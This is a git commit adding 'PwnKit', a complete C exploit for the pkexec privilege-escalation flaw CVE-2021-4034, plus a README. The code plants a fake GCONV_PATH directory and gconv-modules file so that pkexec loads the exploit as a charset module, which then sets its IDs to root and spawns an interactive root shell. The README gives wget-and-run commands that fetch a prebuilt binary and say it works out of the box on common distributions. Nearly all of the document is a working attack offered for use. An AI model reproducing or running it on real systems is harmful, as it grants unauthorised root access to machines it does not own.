initial release
This commit is contained in:
parent
b55befb2cc
commit
0b4fb44df8
156
PwnKit.c
Normal file
156
PwnKit.c
Normal file
@ -0,0 +1,156 @@
|
|||||||
|
// gcc -shared PwnKit.c -o PwnKit -Wl,-soname,libservice.so -Wl,-e,entry -fPIC
|
||||||
|
|
||||||
|
#define _XOPEN_SOURCE 700
|
||||||
|
#define _GNU_SOURCE
|
||||||
|
#include <dirent.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <ftw.h>
|
||||||
|
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
|
||||||
|
const char service_interp[] __attribute__((section(".interp"))) = "/lib64/ld-linux-x86-64.so.2";
|
||||||
|
|
||||||
|
int unlink_cb(const char *fpath, const struct stat *sb, int typeflag, struct FTW *ftwbuf)
|
||||||
|
{
|
||||||
|
int rv = remove(fpath);
|
||||||
|
|
||||||
|
if (rv)
|
||||||
|
perror(fpath);
|
||||||
|
|
||||||
|
return rv;
|
||||||
|
}
|
||||||
|
|
||||||
|
int rmrf(char *path)
|
||||||
|
{
|
||||||
|
return nftw(path, unlink_cb, 64, FTW_DEPTH | FTW_PHYS);
|
||||||
|
}
|
||||||
|
|
||||||
|
int cp(const char *from, const char *to)
|
||||||
|
{
|
||||||
|
int fd_to, fd_from;
|
||||||
|
char buf[4096];
|
||||||
|
ssize_t nread;
|
||||||
|
int saved_errno;
|
||||||
|
|
||||||
|
fd_from = open(from, O_RDONLY);
|
||||||
|
if (fd_from < 0)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
fd_to = open(to, O_WRONLY | O_CREAT | O_EXCL, 0755);
|
||||||
|
if (fd_to < 0)
|
||||||
|
goto out_error;
|
||||||
|
|
||||||
|
while (nread = read(fd_from, buf, sizeof buf), nread > 0)
|
||||||
|
{
|
||||||
|
char *out_ptr = buf;
|
||||||
|
ssize_t nwritten;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
nwritten = write(fd_to, out_ptr, nread);
|
||||||
|
|
||||||
|
if (nwritten >= 0)
|
||||||
|
{
|
||||||
|
nread -= nwritten;
|
||||||
|
out_ptr += nwritten;
|
||||||
|
}
|
||||||
|
else if (errno != EINTR)
|
||||||
|
{
|
||||||
|
goto out_error;
|
||||||
|
}
|
||||||
|
} while (nread > 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (nread == 0)
|
||||||
|
{
|
||||||
|
if (close(fd_to) < 0)
|
||||||
|
{
|
||||||
|
fd_to = -1;
|
||||||
|
goto out_error;
|
||||||
|
}
|
||||||
|
close(fd_from);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
out_error:
|
||||||
|
saved_errno = errno;
|
||||||
|
|
||||||
|
close(fd_from);
|
||||||
|
if (fd_to >= 0)
|
||||||
|
close(fd_to);
|
||||||
|
|
||||||
|
errno = saved_errno;
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
void entry(void)
|
||||||
|
{
|
||||||
|
int res;
|
||||||
|
FILE *fp;
|
||||||
|
|
||||||
|
res = mkdir("GCONV_PATH=.", 0777);
|
||||||
|
if (res == -1 && errno != EEXIST)
|
||||||
|
{
|
||||||
|
perror("Failed to create directory");
|
||||||
|
_exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
res = creat("GCONV_PATH=./pkexec", 0777);
|
||||||
|
|
||||||
|
res = mkdir("pkexec", 0777);
|
||||||
|
|
||||||
|
fp = fopen("pkexec/gconv-modules", "w+");
|
||||||
|
if (fp == NULL)
|
||||||
|
{
|
||||||
|
perror("Failed to open output file");
|
||||||
|
_exit(1);
|
||||||
|
}
|
||||||
|
if (fputs("module UTF-8// PKEXEC// pkexec 2", fp) < 0)
|
||||||
|
{
|
||||||
|
perror("Failed to write config");
|
||||||
|
_exit(1);
|
||||||
|
}
|
||||||
|
fclose(fp);
|
||||||
|
|
||||||
|
res = cp("/proc/self/exe", "pkexec/pkexec.so");
|
||||||
|
if (res == -1)
|
||||||
|
{
|
||||||
|
perror("Failed to copy file");
|
||||||
|
_exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
execve(
|
||||||
|
"/usr/bin/pkexec",
|
||||||
|
(char *[]){NULL},
|
||||||
|
(char *[]){"pkexec", "PATH=GCONV_PATH=.", "CHARSET=pkexec", "SHELL=pkexec", NULL});
|
||||||
|
|
||||||
|
// In case pkexec is not in /usr/bin/
|
||||||
|
execvpe(
|
||||||
|
"pkexec",
|
||||||
|
(char *[]){NULL},
|
||||||
|
(char *[]){"pkexec", "PATH=GCONV_PATH=.", "CHARSET=pkexec", "SHELL=pkexec", NULL});
|
||||||
|
|
||||||
|
_exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
void gconv() {}
|
||||||
|
void gconv_init()
|
||||||
|
{
|
||||||
|
setresuid(0, 0, 0);
|
||||||
|
setresgid(0, 0, 0);
|
||||||
|
rmrf("GCONV_PATH=.");
|
||||||
|
rmrf("pkexec");
|
||||||
|
|
||||||
|
// Try interactive bash first
|
||||||
|
execve("/bin/bash", (char *[]){"-i", NULL}, NULL);
|
||||||
|
|
||||||
|
// In case interactive bash was not possible
|
||||||
|
execve("/bin/sh", NULL, NULL);
|
||||||
|
_exit(0);
|
||||||
|
}
|
25
README.md
Normal file
25
README.md
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
# PwnKit
|
||||||
|
|
||||||
|
Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
Should work out of the box on Linux distributions based on Ubuntu, Debian, Fedora, and CentOS.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
wget https://github.com/ly4k/PwnKit/raw/main/PwnKit
|
||||||
|
chmod +x ./PwnKit
|
||||||
|
./PwnKit
|
||||||
|
```
|
||||||
|
|
||||||
|
## Example
|
||||||
|
|
||||||
|
![](./imgs/example.png)
|
||||||
|
|
||||||
|
## Technical Details
|
||||||
|
|
||||||
|
- https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- https://github.com/arthepsy/CVE-2021-4034/
|
BIN
imgs/example.png
Normal file
BIN
imgs/example.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 62 KiB |
Loading…
Reference in New Issue
Block a user